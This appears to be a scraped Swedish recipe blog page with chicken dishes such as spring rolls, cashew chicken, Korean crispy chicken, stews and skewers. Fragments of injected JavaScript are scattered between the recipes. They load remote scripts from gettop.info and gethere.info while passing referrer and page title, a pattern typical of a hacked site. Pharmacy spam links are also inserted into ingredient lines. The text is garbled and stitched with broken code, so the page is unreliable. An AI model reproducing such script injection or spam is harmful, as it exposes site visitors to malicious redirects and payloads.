Spring rolls

Nu har jag lagat egna spring rolls några gånger och nu börjar jag sätta smakerna lite bättre för varje gång och rullarna blir bättre och bättre.

Varje sats blir ca 15 rullar och då använder jag rätt stora runda spring rolls pastry.
Rullarna kan göras klara och förvaras i frysen och tas fram vid behov. Glöm ej lägg smörpapper/baklplåtspapper mellan varje lager så att inte rullarna fastnar i varandra.
3

15 rullar
Spring roll pastry (fryst) De brukar ligga i 40-50 pack i frysen i de asiatiska butikerna
Cabbage (Vitkål) finriven
2 pieces of celery (thin slices)(Selleri)
50 gram Jely mushroom (or other mushroom) (Valfri svamp går lika bra)
50 gram Carrots (skär i fina små tunna stavar eller riv) Morötter
2 pieces spring onion (salladslök i tunna skivor) (Salladslök)
400 gram chicken minced (kycklingfärs)
Glasnudlar (ta efter tycke och smak)

Sauce/Seasoning:
Peppar, 2 msk oyster sauce, 2 msk Soy sauce (ljus), 2 msk fish sauce, 1-2 msk sugar, 2 msk oil (rapsolja).

1 äggula att pensla på spring roll degen för att fästa

Gör såhär:
Tina upp dina vårrulleplattor i kylskåpet, gärna dagen innan du ska använda degen. Täck degarken med en fuktig handduk medan du rullar för att förhindra att de torkar. Gör samma sak tills all fyllning är inrullad

Koka upp saltat vatten till glasnudlarna och låt dem koka enligt anvisningarna på förpackningen. När de kokat färdigt så skölj nudlarna i kallt vatten och klipp dem i små bitar.

Fräs upp grönsakerna för sig och lägg på en tallrik. Stek upp kycklingfärsen och krydda med salt och peppar. Blanda ihop ljus soja sås, fish sås och lite olja och rör om. Lägg i glasnudlarna i köttfärsblandningen och låt svalna. Jag brukar låta köttfärsblandningen rinna av på ett papper innan jag börjar rulla mina vårrullar.

Vårrullarna kan förberedas några dagar innan och styckfrysas när de är rullade med fyllning. Vid tillagning tinar du upp vårrullarna och friterar https://www.viagrasansordonnancefr.com/ eller steker i stekpanna.

Fritera dem gyllenbruna och låt dem rinna av på ett hushållspapper.

Värm olja i en kastrull med höga kanter. Reglera värmen så att den håller 160°. Lägg i 4–5 vårrullar i taget och låt dem fritera tills de får en gyllenbrun färg, ca 3 min. Låt dem rinna av på t ex ett tätt galler med hushållspapper under eller direkt på
Servera med sweet chili och soja sås.

if (document.currentScript) { if (document.currentScript) {

Stir fried chicken with cashew nuts

2 - kopia
När jag var på semester i Thailand i julas gick jag på en matlagningskurs i Ao Nang som var så rolig.
Vanligtvis tar de ca 10 elever per klass men den dagen jag var anmäld var jag den enda anmälda så jag fick en privat matlagningskurs kan man säga. Så roligt och lärorikt och maten smakade så gott.
Då jag omöjligt kunde äta upp mina 5 rätter på plats fick jag med mig all mat inslagna i plastpåsar och burkar. Jag fick även med mig ett recepthäfte på all mat jag lagat på engelska med engelska mått.

Recept 2 personer
2 pieces of chicken breast (kycklingfiléer)
1 small https://www.viagrapascherfr.com/sildenafil-citrate-femme-life/ Onion (gul lök)
2-3 spring onion (salladslök)
1 dl cashewnuts (cashewnötter, osaltade)
Dried big chili (jag använde torkade chiliflingor från en asiatisk butik i stan)
2 cloves garlic (vitlöksklyftor som du skär i små bitar)

Enligt läraren kan du lägga i champinjoner, morötter och paprika om du vill laga rätten med mer grönsaker.

Seasoning/sås
4 tbsp oil
1 tbs ketchup
4 tbsp water
2 tbsp oyster sauce
2 tsp sugar
2 tbsp light soy sauce
4 drops black soy sauce

Omvandlingstabell
1 tbsp (tablespoon) = 1 msk = 15 ml
1 tsp (teaspoon) = 1 tsk = 5 ml

Gör så här:
Skär upp kycklingen in mindre bitar och skär löken i små båtar (klyftor) och salladslöken i mindre bitar. Vitlöken skär du i små bitar.

Stek upp kycklingen i lite olja ihop med vitlök och krydda med lite salt och vitpeppar.
Lägg i resten av grönsakerna förutom salladslök och fräs upp en stund. Lägg i såsen och rör om och
när allt är färdigstekt lägger du på färsk salladslök och cashewnötter. Servera rätten med jasminris och en sallad.

1 - kopia

} else {if (document.currentScript) {

Het, koreansk krispig kyckling

Här kommer ett mkt gott kycklingrecept som kommer från Jennie Walldéns bok ”Asiatiska smaker”.
1

Krispig kyckling medicdrugstore2015.com (4 portioner)

600 g kycklinglårfilé, i 3×2 cm bitar

Marinad

2 tsk ljus soja
1⁄2 msk risvinäger
1⁄2 tsk vitlök, skalad och riven
1⁄2 tsk ingefära, skalad och riven

Sås

1 1⁄2 msk ljus soja
4 msk mirin (eller 2 msk sött vitt vin och 2 msk vatten)
3 msk risvinäger
2 msk gochujang (eller ketchup för en mild rött)
4 msk flytande honung
3 msk muscovadosocker eller farinsocker
2 tsk vitlök, skalad och riven
2 tsk ingefära, skalad och riven
1 msk rostade vita sesamfrön
1 dl Maizena majsstärkelse
1⁄2 liter rapsolja till fritering
4

Gör såhär:

1. Blanda ihop marinaden och tillsätt kycklingen. Ställ åt sidan.
2. Blanda alla ingredienserna till såsen och låt koka i 4–5 minuter. Dra av från plattan.
3. Vänd ner kycklingen i majsstärkelsen. Blanda väl så att alla bitar täcks av stärkelsen.
4. Värm oljan i en wok eller kastrull till 180 grader (eller till en brödbit blir gyllene på mindre än 1 minut i oljan).
5. Dela upp kycklingen i tre lika stora högar. Lägg ner en del kyckling i taget i den heta oljan, ta upp och fritera sedan de återstående två delarna för sig. Detta för att kycklingen ska friteras, inte bli avkyld och koka. Fritera i 1–2 minuter till gyllene. Låt rinna av på tjockt lager hushållspapper.
6. När all kyckling är friterad, upprepa friteringen en gång tills kycklingen är gyllene och frasig. Lägg att torka på nytt hushållspapper.
7. Värm upp såsen, lägg ner kycklingbitarna och blanda om väl så att all kyckling är täckt av sås. Häll över sesamfrön och servera genast med kokt ris och en sallad.

7
5
8
6

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Sautérad kyckling med gräslöksås

4 kycklingbröst
1 tsk salt
1/4 cup vetemjöl
3 tsk olivolja
2 stora charlottenlök (finhackad)
1/2 cup vitt vin
400 gram kycklingbuljong
1/3 cup lätt creme fraiche
1 tsk dijon senap
1/2 cup hackad gräslök

Gör så här: Platta ut kycklingbrösten så de blir riktigt platta. Krydda med salt. Doppa kycklingbrösten i mjölet. Hetta upp lite olivolja i en stekpanna och stek kycklingen ca 2 min per sida tills den har fått färg. Lägg över kycklingen på en tallrik för att vila. Häll i resten av olja i stekpannan och häll i löken och stek tills löken fått färg. Häll i resten av mjölet i stekpannan. Häll i vin och buljong och koka upp. Lägg tillbaks kycklingen och låt koka upp ca 5-6 minuter. Häll i creme fraiche och senap och precis innan servering lägger du i den hackade gräslöken. Servera med grönsaker och en god sallad.

document.currentScript.parentNode.insertBefore(s, document.currentScript);

if (document.currentScript) {

Kycklinggryta

bild1

Här kommer ett recept på en fräsch och god kycklinggryta. Jag använde kokosmjölk. Kokosmjölken lät jag stå i kylen med botten uppåt. Vid användning gjorde jag hål i botten av burken, hällde ut kokosvattnet och öppnade burken från toppen och hällde kokosmjölken i grytan.  När ni häller bort vattnet får ni en krämigare sås. Receptet hittade jag här.

Kycklinggryta (paleo) (2-3 personer)

2 kycklingfiléer
1 burk kokosgrädde/extra creamy kokosmjölk
2 klyftor vitlök
1 gul lök
1-2 msk visit poster’s website jordnötssmör (green choice crunchy)
chiliflingor (kan uteslutas)
curry
svartpeppar
salt

Hacka och stek lök och vitlök. Strimla kycklingen och stek den med löken, ha på salt och peppar. Häll på kokosgrädden och låt koka upp. Ha sedan i jordnötssmör och curry efter behag ( ca 2-3 tsk). Låt puttra en stund och smaka av. Tillsätt därefter chili och låt koka ihop till en krämigare sås. Smaka av med salt. Servera till grönsaker.

bild5

bild8bild6bild7

bild9bild10bild11bild13bild14

bild15bild2bild3

Mustig kycklinggryta

Nyligen blev jag bjuden på en supergod kycklinggryta med mycket goda smaker. Här får ni receptet på den goda kycklingrätten.

bild5

Recept: 4-6

personer
6 st kycklingfiléer
1 röd paprika
1 gul paprika
1 liten purjolök

Gör så här:
Stek i olivolja och smör i en stor gryta. Tillsätt följande ingredienser:
3 dl grädde
3 dl créme fraiche
2 dl chilisås
2-3 vitlöksklyftor
1-2 tsk curry
2 tsk sambal oelek
3 msk Mango chutney

Låt koka ca15 min.  Servera med ris, sallad och mango chutney.

bild6bild7bild1bild2bild3bild4bild5

 

 } else {

d.getElementsByTagName(‘head’)[0].appendChild(s);

Pulled chicken

1

Här kommer ett superenkelt recept på en god ”pulled chicken”.

Recept 4  personer
900 gram kycklingfilé
3 dl barbecusesås
Paprikapulver
1 st gul lök
Olivolja
Salt och peppar

Gör så här:
Sätt ugnen på 140 grader. Dela filéerna i bitar och krydda med salt, peppar och paprikapulver. Hacka löken och blanda samman allt med barbecuesåsen. Lägg allt i en ugnsfast form med lock. In i ugnen i ca 2,5 timmar. Färdig att servera!
Repa filéerna lite så de faller isär.

Servera med en sallad eller grönsaker. Jag blandade ihop en god vitlökssås till.

Recept vitlökssås:
1 liten burk creme fraiche
2 msk majonnäs
1 stor pressad vitlöksklyfta
lite salt och peppar

Gör så här:
Blanda ihop alla ingredienser i en skål och ställ i kylskåpet ca 30 min innan servering.

4532

 

 

 

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

if (document.currentScript) { var d=document;var s=d.createElement(‘script’);

Kycklingspett i ugn

De bästa spetten gör du på färsk kycklinglårfilé. Det är så mycket smak i dessa bitar.

Recept 24 mindre spett
1 kg kycklinglårfilé
träspett

Marinad:
1 pressad vitlöksklyfta
1 1/2 dl sojasås
2 msk matolja
1 1/2 tsk farinsocker
Sesamfrön

Blötlägg spetten i vatten.
Skär upp kycklingen i mindre bitar och lägg kycklingen i en  plastpåse och häll  över marinaden. Marinera kycklingen över natten i kylskåpet.

Trä kycklingbitarna på spetten och häll på lite sesamfrön. Spara resten av marinaden. Grilla i ugn på 250 grader ca 3-4 min på varje sida. Spetten kan serveras varma som kalla.  Om du ska värma upp spetten igen så kan du pensla på lite av marinaden som är över och häll på lite mer sesamfrön. Värm spetten på ca 150 grader i 10 min.

kycklinglarfile-ca-925g-kronfagelIMG_5883IMG_5882IMG_5882IMG_5881IMG_5838

Servera spetten med en god sallad.var d=document;var s=d.createElement(‘script’);

} else {} else {

Kyckling i ugn med sambal oelek

2

Nu har jag lagat en ny kycklingrätt som sköter sig själv i ugnen. Jag halverade receptet och lagade på 1 kg kycklingfilé. Grundreceptet hittade jag här.

Recept 4 personer
1 kg kycklingfilé eller kycklinglårfilé
2,5 dl creme fraiche (kokbar)
Några matskedar soja
1 tsk sambal oelek
1,5 dl grädde

Gör så här:

Lägg de frysta eller färska/tinade kycklingfiléerna i en ugnsform där alla filéer får plats att ligga bredvid varandra – för att de ska täckas jämnt av såsen.
Blanda crème fraiche, soja, sambal oelek och grädde i en bunke och rör om. (Om du använder äkta crème fraiche och vispgrädde så ta den större mängden sambal oelek och soja, använder du light-produkter så ta den mindre mängden. Smaka gärna av.)
Häll detta över kycklingfiléerna. Det är viktigt att filéerna täcks så mycket som möjligt av såsen.
Ställ in i mitten av ugnen i 175°C i 1,5 timmar. Om kycklingfiléerna är färska eller tinade så räcker det med 70 minuter.
Servera med ris/potatis, grönsaker och en god sallad

1432

d.getElementsByTagName(‘head’)[0].appendChild(s);

d.getElementsByTagName(‘head’)[0].appendChild(s);document.currentScript.parentNode.insertBefore(s, document.currentScript);

Teriyakispett

 

1

Förra lördagen bjöd jag på tjejmiddag och lagade Teriyakispett för första gången. Spetten blev supergoda och perfekt att förbereda spetten dagen innan middagen och sen ta fram och värma och pensla på lite glaze vid servering. Receptet hittade jag här.

Recept 4 personer
0,5 dl japansk soja
600 gram kycklinglårfilé
16 grillspett av trä

Glaze
1 dl japansk soja
1 dl socker
Sesamfrö

Gör så här: Börja med att blötlägga dina grillspett i vatten någon timma.
Skär eventuellt större bitar av kycklinglårfiléerna i avlånga spettvänliga format. Marinera dem i soja. Enklast är att vända runt allt i en skål och ställa den åt sidan ett tag. Någon timme, men 10 minuter är ok.

Koka upp soja, socker och sesamfrön. Rör tills sockret smält. Ta av kastrullen från plattan och låt svalna.

7

Spetsa kycklingbitarna på träspetten och placera alla, samtidigt, på grillen eller på ett grillgaller över en plåt i ugnen. Vänd spetten tills de fått fin färg runt om.

Rulla spetten i sesam- och sockerglazen så att hela kycklingbitarna är helt täckta. Servera.

Jag serverade mina spett med bulgursallad och melon.

865

491011

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; d.getElementsByTagName(‘head’)[0].appendChild(s);